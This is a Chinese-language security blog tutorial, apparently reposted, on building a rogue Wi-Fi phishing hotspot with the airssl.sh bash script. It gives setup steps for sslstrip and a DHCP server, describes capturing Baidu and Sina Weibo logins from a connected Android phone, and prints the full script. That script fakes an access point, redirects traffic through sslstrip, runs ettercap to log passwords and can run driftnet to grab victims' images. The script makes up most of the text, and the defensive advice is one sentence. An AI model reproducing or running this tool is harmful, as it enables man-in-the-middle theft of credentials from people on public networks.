邮箱:service@hongdaqianqiu.com
本站曾介绍过几种无线钓鱼攻击手法，如《伪造AP简单思路(win7+linux)》及《无线Hacking之无线DOS与AP欺骗》。本次介绍的攻击手法是采用airssl.sh这个bash脚本，建立钓鱼热点。
原理:sslstrip+ettercap进行数据包的截获
0×01 配置
默认情况下，BT中的sslstrip和DHCP服务需要重新安装和设置
1.安装sslstrip
安装文件：
|
1
|
/pentest/web/sslstrip/setup.py
|
安装命令：
|
1
|
python setup.py install
|
2.DHCP的安装与配置：
①.安装 dhcp3 服务器:sudo apt-get install dhcp3-server
②.配置 dhcp3 服务，文件/etc/dhcp3/dhcpd.conf
|
1
2
3
4
5
6
7
8
9
|
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.2 192.168.1.100;
option domain-name-servers ns1.internal.example.org;
option domain-name “internal.example.org”;
option routers 192.168.1.1;
option broadcast-address 192.168.1.101;
default-lease-time 600;
max-lease-time 7200;
}
|
③.重新启动服务sudo /etc/init.d/dhcp3-server restart
④.更改 dhcp3 服务监听的网卡，可以修改
|
1
2
|
/etc/default/dhcp3-server
INTERFACES=“eth1″
|
0×02 建立热点
为airssl.sh添加执行权限，执行(相关输入输入)
然后分别是AP建立、DHCP建立、sslstrip开启、ettercap开启，如图所示：
0×03 测试
使用某android手机连接，
bash中会显示已经连接的设备：
测试百度帐号登录:
测试新浪微博登录：
0×04 防护
由于这种钓鱼攻击属于中间人攻击,较难被发现。谨慎使用未知的热点，尽量在可信的网络环境中登录帐号。
补充：airssl.sh代码如下
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
|
#!/bin/bash
# ©opyright 2009 – killadaninja – Modified G60Jon 2010
# airssl.sh – v1.0
# visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh
# Network questions
echo
echo “AIRSSL 2.0 – Credits killadaninja & G60Jon ”
echo
route -n -A inet | grep UG
echo
echo
echo “Enter the networks gateway IP address, this should be listed above. For example 192.168.0.1: “
read -e gatewayip
echo -n “Enter your interface that is connected to the internet, this should be listed above. For example eth1: “
read -e internet_interface
echo -n “Enter your interface to be used for the fake AP, for example wlan0: “
read -e fakeap_interface
echo -n “Enter the ESSID you would like your rogue AP to be called: “
read -e ESSID
airmon-ng start $fakeap_interface
fakeap=$fakeap_interface
fakeap_interface=“mon0″
# Dhcpd creation
mkdir -p “/pentest/wireless/airssl”
echo “authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name “/“$ESSID/““;
option domain-name-servers 10.0.0.1;
range 10.0.0.20 10.0.0.50;
}” > /pentest/wireless/airssl/dhcpd.conf
# Fake ap setup
echo “[+] Configuring FakeAP….”
echo
echo “Airbase-ng will run in its most basic mode, would you like to
configure any extra switches? “
echo
echo “Choose Y to see airbase-ng help and add switches. “
echo “Choose N to run airbase-ng in basic mode with your choosen ESSID. “
echo “Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. “
echo “Y, N or A “
read ANSWER
if [ $ANSWER = “y” ] ; then
airbase-ng –help
fi
if [ $ANSWER = “y” ] ; then
echo
echo -n “Enter switches, note you have already chosen an ESSID -e this cannot be
redefined, also in this mode you MUST define a channel “
read -e aswitch
echo
echo “[+] Starting FakeAP…”
xterm -geometry 75×15+1+0 -T “FakeAP – $fakeap – $fakeap_interface” -e airbase-ng “$aswitch” -e “$ESSID” $fakeap_interface & fakeapid=$!
sleep 2
fi
if [ $ANSWER = “a” ] ; then
echo
echo “[+] Starting FakeAP…”
xterm -geometry 75×15+1+0 -T “FakeAP – $fakeap – $fakeap_interface” -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$!
sleep 2
fi
if [ $ANSWER = “n” ] ; then
echo
echo “[+] Starting FakeAP…”
xterm -geometry 75×15+1+0 -T “FakeAP – $fakeap – $fakeap_interface” -e airbase-ng -c 1 -e “$ESSID” $fakeap_interface & fakeapid=$!
sleep 2
fi
# Tables
echo “[+] Configuring forwarding tables…”
ifconfig lo up
ifconfig at0 up &
sleep 1
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables –flush
iptables –table nat –flush
iptables –delete-chain
iptables –table nat –delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT –to $gatewayip
iptables -P FORWARD ACCEPT
iptables –append FORWARD –in-interface at0 -j ACCEPT
iptables –table nat –append POSTROUTING –out-interface $internet_interface -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
# DHCP
echo “[+] Setting up DHCP…”
touch /var/run/dhcpd.pid
chown dhcpd:dhcpd /var/run/dhcpd.pid
xterm -geometry 75×20+1+100 -T DHCP -e dhcpd3 -d -f -cf “/pentest/wireless/airssl/dhcpd.conf” at0 & dchpid=$!
sleep 3
# Sslstrip
echo “[+] Starting sslstrip…”
xterm -geometry 75×15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!
sleep 2
# Ettercap
echo “[+] Configuring ettercap…”
echo
echo “Ettercap will run in its most basic mode, would you like to
configure any extra switches for example to load plugins or filters,
(advanced users only), if you are unsure choose N “
echo “Y or N “
read ETTER
if [ $ETTER = “y” ] ; then
ettercap –help
fi
if [ $ETTER = “y” ] ; then
echo -n “Interface type is set you CANNOT use “/“interface type/“” switches here
For the sake of airssl, ettercap WILL USE -u and -p so you are advised
NOT to use -M, also -i is already set and CANNOT be redifined here.
Ettercaps output will be saved to /pentest/wireless/airssl/passwords
DO NOT use the -w switch, also if you enter no switches here ettercap will fail “
echo
read “eswitch”
echo “[+] Starting ettercap…”
xterm -geometry 73×25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u “$eswitch” -T -q -i at0 & ettercapid=$!
sleep 1
fi
if [ $ETTER = “n” ] ; then
echo
echo “[+] Starting ettercap…”
xterm -geometry 73×25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!
sleep 1
fi
# Driftnet
echo
echo “[+] Driftnet?”
echo
echo “Would you also like to start driftnet to capture the victims images,
(this may make the network a little slower), “
echo “Y or N “
read DRIFT
if [ $DRIFT = “y” ] ; then
mkdir -p “/pentest/wireless/airssl/driftnetdata”
echo “[+] Starting driftnet…”
driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$!
sleep 3
fi
xterm -geometry 75×15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!
clear
echo
echo “[+] Activated…”
echo “Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata “
echo
echo “[+] IMPORTANT…”
echo “After you have finished please close airssl and clean up properly by hitting Y,
if airssl is not closed properly ERRORS WILL OCCUR “
read WISH
# Clean up
if [ $WISH = “y” ] ; then
echo
echo “[+] Cleaning up airssl and resetting iptables…”
kill ${fakeapid}
kill ${dchpid}
kill ${sslstripid}
kill ${ettercapid}
kill ${dritnetid}
kill ${sslstriplogid}
airmon-ng stop $fakeap_interface
airmon-ng stop $fakeap
echo “0″ > /proc/sys/net/ipv4/ip_forward
iptables –flush
iptables –table nat –flush
iptables –delete-chain
iptables –table nat –delete-chain
echo “[+] Clean up successful…”
echo “[+] Thank you for using airssl, Good Bye…”
exit
fi
exit
|
注：新书《黑客社会工程学攻击2》中有涉及到这方面的技术内容哦，有兴趣的朋友可以买本看哦~ ：）
link:http://zone.wooyun.org/content/2562
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理，转载请注明出处。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式：
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱：service@hongdaqianqiu.com
备案号：粤ICP备15078875号
